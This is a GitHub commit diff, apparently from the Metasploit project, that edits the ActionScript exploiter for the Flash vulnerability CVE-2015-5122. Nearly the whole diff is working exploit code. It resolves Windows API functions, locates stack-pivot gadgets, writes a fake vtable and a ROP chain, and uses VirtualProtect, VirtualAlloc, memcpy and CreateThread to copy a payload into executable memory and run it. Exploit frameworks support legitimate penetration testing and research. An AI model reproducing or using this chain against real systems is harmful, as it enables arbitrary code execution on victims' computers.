Skip to content

Commit 299978d

Browse files
jvazquez-r7jvazquez-r7
committed
Put again old exploiter
1 parent 63005a3 commit 299978d

File tree

2 files changed

+10
-104
lines changed

2 files changed

+10
-104
lines changed

‎data/exploits/CVE-2015-5122/msf.swf

20 Bytes
Binary file not shown.

‎external/source/exploits/CVE-2015-5122/Exploiter.as

Lines changed: 10 additions & 104 deletions
Original file line numberDiff line numberDiff line change
@@ -164,113 +164,22 @@ package
164164
var memcpy:uint = pe.procedure("memcpy", ntdll)
165165
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
166166
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
167-
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash)
168-
169-
Logger.log("add esp c ret: " + addespcret.toString(16))
167+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
170168

171169
// Continuation of execution
172170
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
173171
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
174172
eba.write(0, "\x89\x03", false) // mov [ebx], eax
175-
//eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
176-
177-
eba.write(0, "\x31\xC0", false) // xor eax, eax
178-
eba.write(0, "\x87\xf4\xC2\x04\x00", false) // xchg esp, esi # ret 4
179-
180-
// Put the payload (command) in memory
181-
eba.write(payload_address + 8, payload, true); // payload
182-
183-
// Put the fake vtabe / stack on memory
184-
//for (var i:uint = 0 ; i < 0x100; i = i + 4) {
185-
//eba.write(stack_address + 0x18000 + i, 0x41410000 + i)
186-
//}
187-
188-
eba.write(stack_address + 0x18020, xchgeaxespret) // Initial gadget (stackpivot)
189-
eba.write(stack_address + 0x18000, xchgeaxesiret) // save original esp in esi
190-
191-
eba.write(0, addespcret)
192-
eba.write(stack_address + 0x18014, addespcret)
193-
eba.write(stack_address + 0x18024, virtualprotect)
194-
//eba.write(0, virtualprotect)
195-
196-
// VirtualProtect
197-
eba.write(0, virtualalloc)
198-
eba.write(0, buffer + 0x10)
199-
eba.write(0, 0x1000)
200-
eba.write(0, 0x40)
201-
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
202-
203-
// VirtualAlloc
204-
eba.write(0, memcpy)
205-
eba.write(0, 0x7f6e0000)
206-
eba.write(0, 0x4000)
207-
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
208-
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
209-
210-
// memcpy
211-
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
212-
eba.write(0, 0x7f6e0000)
213-
eba.write(0, payload_address + 8)
214-
eba.write(0, payload.length)
173+
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
215174

216-
// CreateThread
217-
eba.write(0, createthread)
218-
eba.write(0, buffer + 0x10) // return to fix things
219-
eba.write(0, 0)
220-
eba.write(0, 0)
221-
eba.write(0, 0x7f6e0000)
222-
eba.write(0, 0)
223-
eba.write(0, 0)
224-
eba.write(0, 0)
225-
226-
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
227-
228-
Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16))
229-
exploit.hasOwnProperty('msf')
230-
}
231-
232-
private function do_rop_windows8():void
233-
{
234-
Logger.log("[*] Exploiter - do_rop_windows()")
235-
var pe:PE = new PE(eba)
236-
var flash:uint = pe.base(vtable)
237-
var winmm:uint = pe.module("winmm.dll", flash)
238-
var kernel32:uint = pe.module("kernel32.dll", winmm)
239-
var ntdll:uint = pe.module("ntdll.dll", kernel32)
240-
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
241-
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
242-
var createthread:uint = pe.procedure("CreateThread", kernel32)
243-
var memcpy:uint = pe.procedure("memcpy", ntdll)
244-
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
245-
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
246-
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash)
247-
248-
Logger.log("add esp c ret: " + addespcret.toString(16))
249-
250-
// Continuation of execution
251-
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
252-
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
253-
eba.write(0, "\x89\x03", false) // mov [ebx], eax
254-
//eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
255-
256-
eba.write(0, "\x31\xC0", false) // xor eax, eax
257-
eba.write(0, "\x87\xf4\xC2\x04\x00", false) // xchg esp, esi # ret 4
258-
259175
// Put the payload (command) in memory
260176
eba.write(payload_address + 8, payload, true); // payload
261177

262178
// Put the fake vtabe / stack on memory
263-
//for (var i:uint = 0 ; i < 0x100; i = i + 4) {
264-
//eba.write(stack_address + 0x18000 + i, 0x41410000 + i)
265-
//}
266-
267-
eba.write(stack_address + 0x18020, xchgeaxespret) // Initial gadget (stackpivot)
268-
eba.write(stack_address + 0x18000, xchgeaxesiret) // save original esp in esi
269-
270-
eba.write(0, addespcret)
271-
eba.write(stack_address + 0x18014, addespcret)
272-
eba.write(stack_address + 0x18024, virtualprotect)
273-
//eba.write(0, virtualprotect)
179+
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180+
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
181+
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
182+
eba.write(0, virtualprotect)
274183

275184
// VirtualProtect
276185
eba.write(0, virtualalloc)
@@ -301,14 +210,12 @@ package
301210
eba.write(0, 0)
302211
eba.write(0, 0)
303212
eba.write(0, 0)
304-
213+
305214
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
306-
307-
Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16))
308-
exploit.hasOwnProperty('msf')
215+
exploit.toString() // call method in the fake vtable
309216
}
310217

311-
/*private function do_rop_windows8():void
218+
private function do_rop_windows8():void
312219
{
313220
Logger.log("[*] Exploiter - do_rop_windows8()")
314221
var pe:PE = new PE(eba)
@@ -372,9 +279,8 @@ package
372279
eba.write(0, 0)
373280

374281
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
375-
Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16))
376282
exploit.toString() // call method in the fake vtable
377-
}*/
283+
}
378284

379285
private function do_rop_linux():void
380286
{

0 commit comments

Comments
 (0)